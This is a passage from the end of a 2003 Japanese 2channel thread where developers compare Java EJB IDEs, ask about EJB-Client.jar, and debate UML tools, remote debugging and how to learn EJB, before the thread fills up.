すこしいいですか。 やはりEJBが広まるには開発ツールの充実がキーポイントと思います。 VBまでとは言いませんが安定したIDEが必須だと思います。 以下ツールの感想。 JB・・・シェアNO1らしいがチューニングされているせいか少ないメモリでも 動く。128MでもサーブレットJSPなら開発可能。やはり使いやすい いちおうマルチASなのでかなり対応している。 WAS・・・Strutsウイザード・HPビルダー などついていてかなりいいみたい。エクリプスが基本なんで軽い。 でもメモリはかなりいる。 Jdeveloper9i・・・期待のツール。UMLとコードの対応が可能。 すこし動きが遅い。GUIはしょぼい。これから伸びるツール( まだまだ改良する余地がある)オラクルASともに期待できるか? エクリプス・・・フリーなんで設定が面倒。 結局EJB対応にしぼればどれもまだまだ。
966 :
デフォルトの名無しさん :03/05/29 22:25
「EJB-Client.jar」ってなんですか? EJBの仕様で定められているものですか?
967 :
デフォルトの名無しさん :03/05/29 22:34
>>954 業種別のドメインモデルが標準化されるときがきて、各システム
がその標準化されているモデルの上で、業務ロジックを実装するような形に
なれば、可能かも。
968 :
デフォルトの名無しさん :03/05/29 22:39
>UMLとコードの対応が可能。 もうちょい詳しい解説きぼn 「まさかクラス図変えたらソースも追随する」だけとかじゃないだろね。 せめてソースからシーケンス図が自動で作られないと今時斬新さの欠片も無いぞ。 >エクリプス・・・フリーなんで設定が面倒。 J2EEプロジェクトを新規作成してリモートデバッグまで持っていく手順ではJBの比にならんくらい簡単。 そもそもプラグインプラットフォームの何を評価したのやら。 どういうプラグインを通して試行したのか書かなきゃ全然意味無し。
970 :
デフォルトの名無しさん :03/05/29 23:24
968>> でも他にこの機能(UML)ついてるのはないよ たしかにシーケンスはないけど。値段が安い。10万 JBてそんなリモートdebugややこしい?
971 :
デフォルトの名無しさん :03/05/29 23:25
結局誰も「EJB-Client.jar」が何かってしらねぇの?
973 :
デフォルトの名無しさん :03/05/29 23:50
>970
だーかーらー、その機能(UML)ってのは何なのよ。
>>965 に書いてあるだけなわけ無いよな?少なくともOmondo以上の事ができなきゃ、
「Eclipseなら無料で手に入る機能の為に10万?ふざけんな」って言われて終わり。
あと、
>J2EEプロジェクトを新規作成して〜〜
って文を無視するな。
974 :
デフォルトの名無しさん :03/05/29 23:59
>>だーかーらー、その機能(UML)ってのは何なのよ。 コードとUMLのリバースエンジニアリング。 あっROSEつかえばとか他の格安のツール使えばとかはなし(w ドキュメントが充実しているのがいい。 それからリモートデバックなんて使う? ローカルで検証してサーバにアップでしょう。 どんなときにつかうのかな?不安定でなかなか使い物に奈良なんですけど あとそれからJ9iはまだまだ未完成のツールなんで これからが楽しみ。Strutsも手順多すぎ。 あっ私厨房なんでよろしく(w
975 :
デフォルトの名無しさん :03/05/30 00:25
>>972 載ってねぇぞ!
まさか、アプリケーションのjarファイルの事言ってねぇよな。
976 :
デフォルトの名無しさん :03/05/30 01:49
>>974 ローカルで検証して上げた後、リモートでも同じテストをする事もある。
977 :
デフォルトの名無しさん :03/05/30 02:12
EJBを体系的に覚えられる道筋を教えてください。
>>977 ejb-jar.xmlを手書きする。
すべての要素をながめて、必須だの不要だのいりろ悩んでみることだ。
979 :
デフォルトの名無しさん :03/05/30 03:30
980 :
デフォルトの名無しさん :03/05/30 03:31
>>884 確かに。
そういうear、war、ejb-jarをどのようにまとめるかは重要だよねぇ。
だれか意見を求みます!
981 :
デフォルトの名無しさん :03/05/30 03:31
CORBAを学んでネーミングサービスや分散オブジェクトの基礎を知る。 そのうえで、JNDI(のネーミングサービス)やEJBのHome,Remote,実装の仕掛けを勉強。
982 :
デフォルトの名無しさん :03/05/30 03:43
>>981 EJBってデプロイ時にstubやskeltonの生成・コンパイルしてるんだよね。
ここらへんはIDLから作るCORBAよりもスマートだと思った。
ガリガリとRMIやってた人も、ここら辺の仕組みの理解は楽ちんだったろうな、と想像。
すたぶ?すけるとん?てぃー?POA?PRO? そんな単語さえ知らなくたって分散オブジェクトが出来てしまうのが EJBの良いところの一つ。
984 :
デフォルトの名無しさん :03/05/30 21:14
EJB ってどうやってデバッグするんでつか?
普通にリモートデバッグすれば良いじゃん。 俺はEclipseでやってるよ・
986 :
デフォルトの名無しさん :03/05/30 23:54
>>972 J2EEチュートリアルにejb-client.jar載ってねぇぞ!
>>974 リバースエンジニアリングごときでいばるな。
シーケンス図もかけないんだろ?
シーケンス図自動生成機能はマジで欲しいね。頼むよ〜>omondo
990 :
デフォルトの名無しさん :03/05/31 12:35
>>987 よくこういう奴いるよね。
自分では説明できないから、googleの検索後URL乗せる奴。
意味ねぇっつーの。
自分では調べられないから、2ch で質問するやつ に対する回答としては適当では。
992 :
デフォルトの名無しさん :03/05/31 12:41
わかんねぇから「初心者歓迎」に書き込んでるんだろ? googleの検索くらい自分でやっているんだよ。 わざわざ書き込まれなくても。
>>992 はぁ?
さっきから良スレ荒らしてんじゃねーよ。
>>992 これでわからなかったらあんた向いてないよ。やめたほうがいい。
996 :
デフォルトの名無しさん :03/05/31 13:20
>>995 はぁ?
おまえネーミングルール出して何がしたいの?
お前全然わかってないだろ?
>>996 はぁ?
さっきから良スレ荒らしてんじゃねーよ。
998 :
デフォルトの名無しさん :03/05/31 13:30
998
999 :
デフォルトの名無しさん :03/05/31 13:30
1000
1000 :
デフォルトの名無しさん :03/05/31 13:30
1000!
1001 :
1001 :
Over 1000 Thread このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。